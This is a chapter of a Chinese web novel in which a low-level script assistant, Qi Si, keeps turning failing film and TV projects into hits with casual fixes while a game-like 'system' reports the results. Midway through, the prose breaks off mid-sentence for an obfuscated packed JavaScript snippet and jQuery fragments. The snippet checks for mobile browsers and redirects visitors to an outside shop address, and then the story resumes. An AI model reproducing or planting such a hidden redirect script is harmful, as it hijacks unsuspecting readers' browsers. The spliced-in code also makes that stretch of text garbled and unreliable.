女嘉宾愣住：“这句……不是原来的。”


    “原来的太像在表演分手。”齐司把笔递回去，“这句是你在放过他，也放过你自己。你就当是跟自己说。”


    她下意识念了一遍：“你以后别再为我难过了。”


    走廊尽头有工作人员推着灯架经过，轮子在地上压出“咔哒咔哒”的声响，灯架上的柔光布被空调风吹得鼓起又落下，像一块缓慢呼吸的白云。


    那一瞬间，她的声音压得很低，没有刻意的颤音，尾音轻轻往下落，反而把那种彻底死心的味道带出来了。


    “就这样。”齐司把那页塞回剧本，“别想太多。”


    “齐老师——”


    她还想说什么，隔壁棚的场务已经探头出来：“小周！准备上场了，导演喊你走一条！”


    她抱着剧本小跑过去，临进门前又回头冲齐司用力点了一下头。


    —


    隔壁棚，灯光已经调成了夜景模式，主灯压暗，只在窗边打了一条冷蓝色的轮廓光，室内用几盏小暖灯做点缀，桌上的玻璃杯反射出细碎的光点。


    摄影机架在滑轨上，轨道从门口一路铺到沙发前，机位显示屏上，构图已经画好，女主进门、对峙、走近、停下，最后一个特写落在她脸上。


    导演坐在监视器前，耳机压得很低，眼睛盯着画面，旁边的副导翻着分场表，场记举着场记板站在机位前：“第十五场第三条，开始！”


    门被推开，女嘉宾——现在是女三号——走进来。


    她没有照着原来排练的那样一进门就红着眼睛吼，而是先停了一下，视线在屋里扫过，落在男主身上，像是在确认他真的在这里。


    “你今天为什么来？”她问。


    语气很平，像是下班路上随口问一句“你吃了吗”。


    男主愣了一下：“我……”


    “你想要什么？”


    滑轨开始缓慢前移，画面里的她往前走了两步，窗外的冷蓝光在她肩上勾出一圈淡淡的边。


    “我只是——”


    “那你走吧。”


    她说完这句，停了两秒，眼睛微微发红，却没有一滴眼泪掉下来。


    滑轨停在她的中近景，导演正要喊卡，她忽然抬眼，像是想起了什么，补了一句：“你以后别再为我难过了。”


    那句台词不在本子上。


    现场一瞬间安静得只剩下空调的风声。


    男主对戏经验丰富，下意识顺着她的情绪接戏，喉结滚了一下，眼眶也跟着红了，嘴唇动了动，却什么都没说出来。


    镜头里的她，眼睛里是彻底的平静，像是把所有的情绪都在心里翻滚完了，只剩下一句轻描淡写的告别。


    “卡——”


    导演的声音从耳机里炸出来，又压下去，他盯着监视器回放键，手指按住没松开。


    刚才那句“你以后别再为我难过了”，像一颗钉子一样钉在画面里，前面的铺垫全都被它带出了层次。


    副导凑过来：“这句台词……？”


    “不是原本的。”导演眼睛发亮，“但比原来的好一百倍。”


    他把那一条标了个星号：“这条留剪辑，后面所有情绪都往这句靠。”


    —


    后台走廊的另一头，齐司已经走到电梯口，按了下行键。


    手机震了一下，是系统弹出的数据面板，像是后台监控：


    【当前棚内：第十五场第三条完成。】


    【观众测试小样（内部）：该场戏情绪共鸣指数提升 287%。】


    【台词“你以后别再为我难过了”——预测热搜强度：A级，传播半径：全网。】


    齐司看了一眼，没兴趣，关掉屏幕。


    电梯门刚打开，里面已经站了三个人，妆发、灯光、一个拎着硬盘的后期。


    “哎，是齐哥。”后期小哥眼睛一亮，“正好正好，我们机房那边有点问题，您能不能帮忙看一下？就一眼！”


    “我不是技术。”齐司说。


    “您上次随手帮我们调了一下 LUT，导演说那是他今年看过最干净的一版夜景。”灯光师在旁边补刀，“就两分钟，真的。”


    电梯门缓缓关上，外面走廊的噪音被隔绝在外，轿厢里只剩下几个人的呼吸声和楼层数字跳动的“滴”声。


    —


    机房在负一层，走廊灯光更暗，只有机房门上方的“ON AIR”红灯亮着，门一推开，冷气和风扇的嗡鸣一股脑扑出来。


    一排排工作站屏幕亮着，时间线拉得很长，画面停在一个夜景外景上——街灯偏黄，人脸发灰，画面偶尔跳一下，像是轻微的卡顿。


    “就是这个。”后期小哥把鼠标点了点，“我们刚才导素材的时候，机子突然卡了一下，时间线跳帧，曝光也跟着乱了，怎么调都不顺。”


    屏幕右侧是波形图和矢量示波器，曲线乱成一团，亮部已经顶到了上限，暗部又死黑。


    齐司站在门口，没往里走太多，手插在外套口袋里，看了两秒。


    “你这条素材的时间码断了一段。”他随口说，“把前面那三秒删掉，后面往前挪一格。”


    后期小哥愣了一下：“可那三秒有个很重要的回头镜头——”


    “你们不会用。”齐司走过去，随手按了两下键盘，把时间线上的一个剪辑点往前挪了一格，又把 LUT 切换成了另一个预设，把曝光从 +0.7 拉回 0，再把对比度轻轻往上推了一点。


    屏幕上的画面忽然稳了。


    原本发灰的夜景被压出了层次，街灯不再是死黄，而是带了一点橙红，人脸上的灰气被洗掉，眼睛里有了光，背景的霓虹虚成一片柔和的散景，远处车流的灯像一串串流动的光点。


    最关键的是，刚才那个轻微的跳帧不见了，镜头从推到停，一气呵成，像是原本就该是这样。


    波形图上的曲线也顺了下来，亮部不过曝，暗部留了细节，肤色线稳稳地落在标准区间。


    “卧槽——”后期小哥忍不住爆了句粗口，“刚才那一下你是怎么——”


    “你们这机子缓存没清干净。”齐司把键盘推回去，“回头重启一下。”


    他转身要走，系统在他视野边缘刷出一行小字：


    【镜头完成度：由 62% → 99%。】


    【该镜头预测标签：#年度最美夜景镜头#、#教科书级一镜到底#。】


    【相关项目整体口碑指数上调：+43%。】


    机房里的人已经围在那台工作站前，反复拖动时间线看刚才那一段，从推轨到停下，演员回头的那一瞬间，街灯在他眼里打出一圈小小的光晕，像是城市夜色里唯一清醒的一点。


    “这条要锁死。”后期小哥一边说一边在工程文件上打了三个感叹号，“谁都不许动。”


    —


    从机房出来，走廊尽头的安全门半开着，外面是地下停车场，混着汽油味和潮气。


    齐司掏出手机看时间，离末班地铁还有二十分钟。


    刚走到坡道口，一个穿西装的男人快步迎上来，胸前挂着工作证，制片统筹，脸上带着那种常年熬夜的蜡黄。


    “齐老师——”


    “我不是——”


    “您等一下，真的就一分钟。”制片人把手里的文件袋往上一举，像举着什么圣旨，“我们有个项目，可能要黄了，您能不能……挂个名？”


    齐司停下脚步：“挂名？”


    “对，对对。”制片人眼睛发亮，“您不用干活，真的，我们团队都齐了，导演、摄影、后期都有，就是现在投资那边要撤，说我们项目没有‘安全牌’。”


    他把文件袋里的资料抽出来，封面是一部网剧企划案，名字起得很俗，什么《甜宠XX》，下面一行小字：“第三轮融资未完成”。


    “您看，您只要在这儿签个字——”制片人指着最后一页，“挂个‘创意顾问’或者‘联合出品人’都行，我们就能把最后一笔钱拿下来。”


    “我为什么要——”


    “我们给钱。”制片人立刻说，“挂名费您随便开。”


    系统在旁边冷静地刷出一行提示：【当前项目状态：烂尾边缘。】


    【完成度：27%。】


    【市场预期：负增长。】


    【如宿主参与——】


    齐司把手机塞回口袋：“我不参与项目。”


    “您不需要参与。”制片人急了，“您就……路过一下。”


    他话音刚落，齐司的手机震了一下，一条消息弹出来，是刚才那档综艺的执行发来的：“齐哥，刚刚那句‘你以后别再为我难过了’，导演说要给你署个‘台词润色’。”


    制片人眼睛一亮：“您看，您已经参与了。”


    系统：【逻辑成立。】


    【宿主与该制片人项目产生“路过参与”关联。】


    【项目状态刷新中——】


    停车场上方的灯一盏一盏亮着，冷白色的光打在那叠企划案上，纸张的纹理清晰可见。


    【新预测：项目完成度将自动提升至 100%。】


    【市场预期：从负增长 → S 级爆款。】


    【标签：#小成本逆袭#、#年度黑马网剧#。】


    齐司没再看那份企划，只是随手在最后一页签了个名字：“那我可以走了吧。”


    “可以可以！”制片人像捧着金条一样把文件收好，“我们会按时打钱的！”


    —


    两周后，某视频平台的内容会议室里，长桌一侧坐满了内容运营、数据分析、宣发负责人，另一侧是平台高层。


    投影幕布上，数据曲线像心电图一样起伏，一条线忽然在某个节点之后猛地往上冲，几乎贴着顶端走。


    “这条就是那部《甜宠XX》。”数据分析师指着那条线，“原本我们预估它的完播率在 30% 左右，现在首更三集，完播率 78%，追更率 92%，弹幕互动是同档期平均的 4.3 倍。”


    屏幕切到热搜页面，话题栏里挂着：


    #小成本甜宠剧封神#


    #谁在给这部剧写台词#


    #你以后别再为我难过了#


    下面是剪辑号做的二创视频，女三号那句“你以后别再为我难过了”被无数次剪进各种分手场景、MV、情感短片里，BGM 换了无数种，评论区全是“这句比‘你就当今天没来过吧’还狠”。


    “更离谱的是——”运营负责人点开后台，“这部剧的主投方原本准备撤资，最后一刻又把钱打回来了，还追加了宣发预算。”


    平台高层敲了敲桌子：“谁牵头的？”


    “是外面那家小公司。”运营翻资料，“他们这次拉了一个‘创意顾问’挂名，叫……齐司。”


    会议室里安静了一秒。


    “又是他？”有人低声说。


    “之前那档情感综艺，他是编务。”另一个人接话，“结果那句‘你就当今天没来过吧’火了，现在又是这句‘你以后别再为我难过了’。”


    “还有上个月那部夜景文艺片。”数据分析师翻出另一份报告，“据说是他在机房按了两下，那个一镜到底的夜景镜头现在被各大电影学院拿去当教学案例。”


    投影幕布上切出那条镜头的截图，城市夜景、推轨、回头，一切都刚刚好。


    “所以现在业内都在说——”运营负责人笑了一下，“只要有他在，项目就不会死。”


    —


    同一时间，某资本方的董事会议室。


    长桌上摆着几份项目清单，后面都用红笔圈了一个名字：“齐司”。


    “我们最近投的几个项目里，只要有他名字的，全线逆袭。”投资总监翻着报告，“没有他的，按原本预期走，甚至有的还不达标。”


    “他是什么背景？”董事长问。


    “查过了。”风控负责人打开一页简历，“普通一本院校，影视编导专业，毕业后进了几家小公司做编务、助理，没拿过什么奖，也没什么公开履历。”


    “那为什么——”


    “可能是……风口体质？”有人半开玩笑。


    会议室里没人笑。


    “现在外面已经有传言，说他是‘隐形庄家’。”投资总监把手机推到桌子中间，屏幕上是一个业内小群的聊天截图：


    【A：听说了吗，最近那几个爆款背后都有一个人——】


    【B：齐司？】


    【C：对，风口捕捉体质，资本新宠。】


    【D：你们谁能把他约出来吃个饭？我们这边有几个项目想让他看看。】


    董事长敲了敲桌面：“不管他是什么体质，先把人拉到我们这边来。”


    “已经在排队了。”投资总监苦笑，“我们不是第一家。”


    —


    而此刻，当事人正坐在公司茶水间的角落，手里捧着纸杯咖啡，盯着墙上的下班时间表。


    墙上贴着一张 A4 纸，打印着“本周加班统计”，他名字后面一串红色的“√”。


    “齐哥——”


    茶水间的门被推开，一个妆发师探头进来，后面还跟着两个艺人和一个导演。


    “我们刚开完会，听说你在这儿。”导演把帽子往上一推，眼睛里带着兴奋，“有个剧本想让你帮忙看一眼。”


    “我不是编剧。”齐司说。


    “你不是，你是……风向标。”其中一个艺人笑着接话，脸上妆还没卸干净，眼角的高光在茶水间昏黄的灯下闪了一下，“我们这边有个新剧，平台那边说，只要你挂个‘创意统筹’，他们就给 S 级资源。”


    另一个艺人也凑过来：“我这边有个电影，导演说你随便提两句意见就行，票房就有保障。”


    妆发师在旁边补刀：“还有我们组的新综艺，制片人说，如果能把你拉进来做个‘节目顾问’，招商那边立刻翻倍。”


    茶水间本来只有一盏老旧的日光灯，现在被他们一围，空气都热了两度。


    齐司看着他们，感觉自己像是被几盏追光灯照着，连逃都没地方逃。


    系统在旁边冷静地刷出一行：


    【当前宿主被动绑定项目数：7。】


    【行业内部共识形成度：83%。】


    【关键词：隐形庄家、风口捕捉体质、安全牌。】


    “我只想下班。”齐司说。


    “我们也是。”导演苦笑，“但现在甲方说了，只要你在，我们就都能下班。”


    —


    外网。


    某营销号发了一条长微博，配图是几张项目海报的拼图，底下用红线把一个名字圈了出来：


    【你以为是运气？其实是庄家。】


    【盘点最近一年所有逆袭项目背后那个神秘的“齐”姓男人。】


    评论区一片“谁啊？”“求科普”“原来他才是幕后大佬”。


    热搜右侧，相关话题开始自动发酵：


    #齐司是谁#


    #娱乐圈隐形庄家#


    #只要他参与项目就一定成#


    系统：【舆论自动向宿主聚拢中。】


    【宿主未主动发声，未主动营销。】


    【热度来源：项目成功自然外溢。】


    齐司刷到这条热搜的时候，正站在地铁站台上，头顶的灯光有点刺眼，列车进站的风卷着一股铁锈味。


    他看着那几个话题，眉头皱了一下，把手机锁屏，塞回口袋。


    列车门打开，人群往里涌，他被推着往前走。


    系统在他耳边平静地提示：


    【当前身份：隐形庄家（宿主仍未觉察）。】


    【行业趋势：已开始围绕宿主参与项目进行调整。】


    【你可以继续下班。】


    地铁门关上，车厢里的灯一格一格亮起，窗外的隧道墙壁飞快后退，广告灯箱上一闪而过的是某平台的宣传海报——


    “本季爆款：《甜宠XX》。”


    角落里，小字署名：“创意顾问：齐司。”


    地铁晃了一下，荧白的灯管在车顶嗡嗡作响。


    齐司盯着那行“小字署名”看了两秒，确认自己没眼花——那确实是他前几天被拉去开会时，顺手在方案底部签的名字。


    他叹了口气，扶了扶背包带，决定当作没看见。


    系统安静了一会儿，又机械地补了一句：


    【宿主目前行为：继续下班。】


    【行业行为：继续围绕宿主。】


    地铁到站，他跟着人流出站，手机震动了一路。


    刚出闸机，屏幕上跳出十几个未接来电，制片、执行、场记、甚至还有一个备注“新加的谁来着”的号码。


    他本能地想关机，刚点到关机键，那个“新加的谁来着”又打进来。


    “喂？”他接起，语气很平。


    “齐老师！你终于接了！”对面是个年轻男声，背景里一片“咔哒咔哒”的键盘声和打印机吐纸声，“我是《甜宠XX》这边的执行编剧小周，您今晚有空吗？我们有一场戏总是演不顺，导演说，您要是能看一眼就好了……”


    齐司停在地铁口的风幕机下，暖风呼呼吹着，他抬手挡了挡风：“我只是挂名顾问。”


    “您随便看一眼就行！”小周急得声音都抬高了，“就一页纸，真的，就一页！我现在发您微信？”


    不等他拒绝，微信文件“叮”地一声弹出来——《第18场·雨夜告白》。


    他本来想说“明天再说”，结果对面已经开始描述问题：“我们这场戏拍了三天，男女主怎么演都假，台词一说出口就尬，导演都快崩溃了，平台那边又催进度……”


    齐司站在风幕机下，风吹得他眼睛有点干。他想了想，还是点开了那一页剧本。


    雨夜、走廊、告白、摔伞、强吻。


    他看了十几秒，眉心微微一蹙。


    “你们这场戏，台词太满了。”他随口说，“两个人都在说大道理，谁会在雨里讲这么多话。”


    小周那边立刻“唰唰唰”翻纸：“那……那怎么办？”


    “把台词砍掉三分之二。”齐司靠在墙上，目光扫过那几行对白，“女主那句‘我不是你可以随便安排的人’，改成‘你别这样’就够了。男主那句‘我只是想给你一个更好的未来’，改成‘我以为你会开心’。”


    他顿了顿，又补了一句：“雨声大一点，别让他们说太清楚。多给特写，嘴唇抖一下，比讲十句有用。”


    那头安静了两秒，仿佛所有人都在屏住呼吸听。


    “还有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939318|192918||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，”齐司看着最后一行，“你们这场戏不需要强吻。让男主伸手去拉她，停在半空，没碰到。女主自己往前走一步，擦着他的手过去。”


    “为、为什么？”小周下意识问。


    “因为这样观众会觉得，是她选择了离开，不是被他推走。”齐司说，“你们这剧的受众不吃强取豪夺那一套。”


    风幕机的暖风从他发梢吹过，地铁口外的霓虹灯在玻璃门上晕成一片。


    “就这些？”小周声音都有点发颤。


    “就这些。”齐司关掉文件，“我回家了。”


    “齐老师！您、您要不要来现场——”


    通话被他干脆地挂断。


    系统淡淡地响起提示音：


    【已完成：随手调整一页剧本。】


    【预计效果：演员表演自然度+300%，台词传播度+500%。】


    【预计衍生结果：#你别这样#、#我以为你会开心#将成为本季度情侣间高频引用语。】


    齐司把手机调成静音，往小区方向走去。


    ……


    第二天一早，《甜宠XX》剧组。


    摄影棚里，冷白的顶灯被一盏盏关掉，只留下走廊尽头一排昏黄的钨丝灯，光线被美术组用黑布和遮光板切得很狠，只在地面和墙角留出一条窄窄的亮带。


    雨机在棚外“哗啦啦”地洒水，水流顺着假楼道的玻璃窗滑下，打出一片模糊的光斑。


    “来，18场，准备——”副导演举着场记板，声音压得很低，“安静，安静！收音！”


    女主站在走廊中段，头发被喷湿，眼线微微晕开，妆发特意留了几根碎发贴在脸侧，看起来有点狼狈。男主在走廊尽头，手里握着伞，指节绷得发白。


    “Action！”


    “你别这样。”女主抬眼，声音被雨声压掉一半，只露出一个气息不稳的尾音，眼睛却亮得吓人。


    摄影机从她肩后绕过去，Steadicam的稳定器随着摄影师的步伐轻轻起伏，镜头从中景慢慢推近到特写，雨声在收音师的指尖下被调得更大，盖住了大部分呼吸声。


    男主喉结滚了一下：“我以为你会开心。”


    这句台词一出口，现场监视器前的导演猛地坐直了。


    他盯着屏幕上那张脸——眼神里那种“以为自己做对了事，却被现实打脸”的茫然和委屈，竟然第一次显得不油腻。


    “停！”导演忍不住喊，“好！就这样！再来一条，情绪再收一点！”


    演员对视一眼，眼里都是“终于找到感觉了”的轻松。


    场记板一合，副导演小声嘀咕：“就改了两句台词，怎么感觉整场戏都顺了？”


    监视器旁，执行编剧小周死死抱着那一页被他涂得乱七八糟的剧本，心里只有一个名字——齐司。


    ……


    同一时间，城北另一个摄影棚。


    一台主摄影机黑屏，监视器上画面一顿一顿地跳，像老旧DVD卡碟。


    “怎么又跳帧？！”摄影指导的声音透着压抑的暴躁，“昨天刚检修过，今天又出问题？！”


    灯光师站在一堆C-stand和旗板后面，抬头看着天花板上那一排排LED板，色温从5600K缓慢拉到4800K，监视器上肤色一会儿偏青一会儿偏黄。


    “曝光也不对啊。”导演盯着波形图，额角青筋微跳，“刚才那条脸都糊成一片了。”


    制片人站在一旁，脸色比波形图还难看：“这场戏再拖，后面棚期全要重排。”


    “要不……先拍别的？”场记试探。


    “别的也要用这机位！”摄影指导烦躁地甩下耳机，“我怀疑是机身内部缓存有问题，得送回厂检修。”


    “送回厂？那我们今天全停？”制片人声音都变了调。


    现场一片低压。


    这时，门口传来一阵脚步声。


    “齐司！你来了？”副导演眼睛一亮，像抓住救命稻草一样冲过去，“快快快，帮我们看一下设备，是不是哪里设置不对？”


    齐司刚被拉进棚，背包还没放下，就被一群人围到监视器前。


    “我不是机修。”他皱眉，“我只是来送合同的。”


    “你随便按两下就行！”制片人亲自把他往机位那边推，“你不是之前帮我们调过一次监视器色彩吗？那次之后画面就特别好看，这次肯定也行！”


    系统在他耳边冷静地报数：


    【当前状态：被动参与。】


    【设备状态：轻微缓存异常，非致命。】


    【宿主干预后预计结果：镜头封神。】


    齐司被推到摄影机后，黑色机身在棚灯下泛着冷光，机背的小屏幕上，波形图像心电图一样乱跳。


    他低头看了一眼菜单栏，随手按了两下。


    “你们这个缓存预录开太长了。”他顺手关掉一个选项，又把快门角度从172.8调回180，“还有，别用自动曝光，锁死。”


    摄影指导愣了一下：“我们一直这么拍的啊。”


    “你们演员动作太快，自动曝光反应不过来。”齐司抬眼，“锁死，留点暗部，后期拉。”


    他说着，又看了眼棚顶那一排灯：“色温统一到5200，别来回晃。”


    灯光师立刻照做，调光台上的推子一排排推上去，棚里光线从杂乱的冷暖交错，慢慢收拢成一片干净的冷白。


    “再来一条。”齐司退开一步，“我走了。”


    “别别别，你先看一条！”导演几乎是喊出来的。


    场记板一拍。


    演员从门外冲进来，镜头跟着他一脚踢开门，Steadicam从门框外一气呵成地推进室内，光线在他脸上划出一条利落的明暗分界。


    监视器上，画面流畅得像被打了蜡，每一帧都稳得像定格，波形图的线条乖乖地在中间那一块区域起伏，肤色刚好落在合适的区间。


    导演盯着屏幕，整个人都安静了。


    那一脚踢门的瞬间，门板上的反光刚好打在演员眼睛里，瞳孔里那点光被捕捉得极清楚，像一颗小小的火星。


    “操……”摄影指导忍不住爆了句粗，“这画面……怎么突然这么干净？”


    “刚才那两下，你到底按了什么？”制片人一把抓住齐司的胳膊。


    “没按什么。”齐司把胳膊抽回来，“你们自己记一下就行。”


    系统提示：


    【已完成：按两下设备。】


    【结果：卡机、跳帧、曝光异常全部消失。】


    【衍生效果：本场戏将被剪进预告片，成为全网讨论的“封神镜头”。】


    【宿主仍可继续尝试下班。】


    齐司看了眼时间，背起包：“我真的要走了。”


    “等一下！”制片人突然想起什么，“你这次来，是不是那个投资合同？你签了吗？”


    “还没。”齐司说，“我只是拿来给你们签的。”


    “那你顺便签个参与顾问？”制片人眼睛一亮，立刻从桌上抽出一份文件，“不占你时间，就挂个名，象征性给你一点分成。”


    “一点分成”在合同里被写成了“净利润的5%”。


    齐司扫了一眼，眉头微蹙：“我不——”


    “就当是感谢你帮我们救机位！”制片人直接把笔塞到他手里，“你不签，我们心里过不去。”


    系统默默弹出一行字：


    【提示：该项目目前为烂尾边缘，平台准备减配投放。】


    【宿主参与后，预计：口碑逆袭→长尾爆款→平台年度案例。】


    齐司懒得再争，随手在“顾问”一栏签了个名字。


    ……


    两个月后。


    某视频平台后台数据监控室，几十块大屏幕铺满整面墙，实时播放着各个项目的播放曲线、完播率、弹幕密度、转化率。


    “怎么回事？《逆风少年》这条曲线怎么突然抬头了？”运营总监皱着眉，指着一条原本平平无奇、最近一周却突然陡然上扬的蓝线。


    数据分析师飞快敲键盘，调出详细报表：“从第13集开始，完播率从62%涨到83%，第15集达到了88%。弹幕关键词集中在‘踢门那场戏’、‘雨夜走廊’、‘你别这样’、‘我以为你会开心’。”


    “这不是两个项目的元素吗？”另一个运营皱眉，“《逆风少年》有踢门，《甜宠XX》有雨夜告白，怎么会被一起提？”


    “因为被剪成了一个混剪。”数据分析师点开一个链接，屏幕上跳出一个粉丝剪辑的视频——


    开头是《逆风少年》里那一脚踢门，门板反光打在男主眼里，紧接着切到《甜宠XX》雨夜走廊，女主抬眼说“你别这样”，雨声压得台词模糊，男主那句“我以为你会开心”接在后面，BGM一响，弹幕瞬间爆炸。


    “这俩项目之前都不温不火，怎么突然就……”运营总监盯着数据，“是谁在后面推？”


    数据分析师翻了翻项目资料，突然停住：“这两个项目，有一个共同点。”


    “什么？”


    “顾问一栏。”数据分析师把两个项目的资料并排放大，屏幕上清清楚楚地写着同一个名字——


    “齐司。”


    会议室里安静了两秒。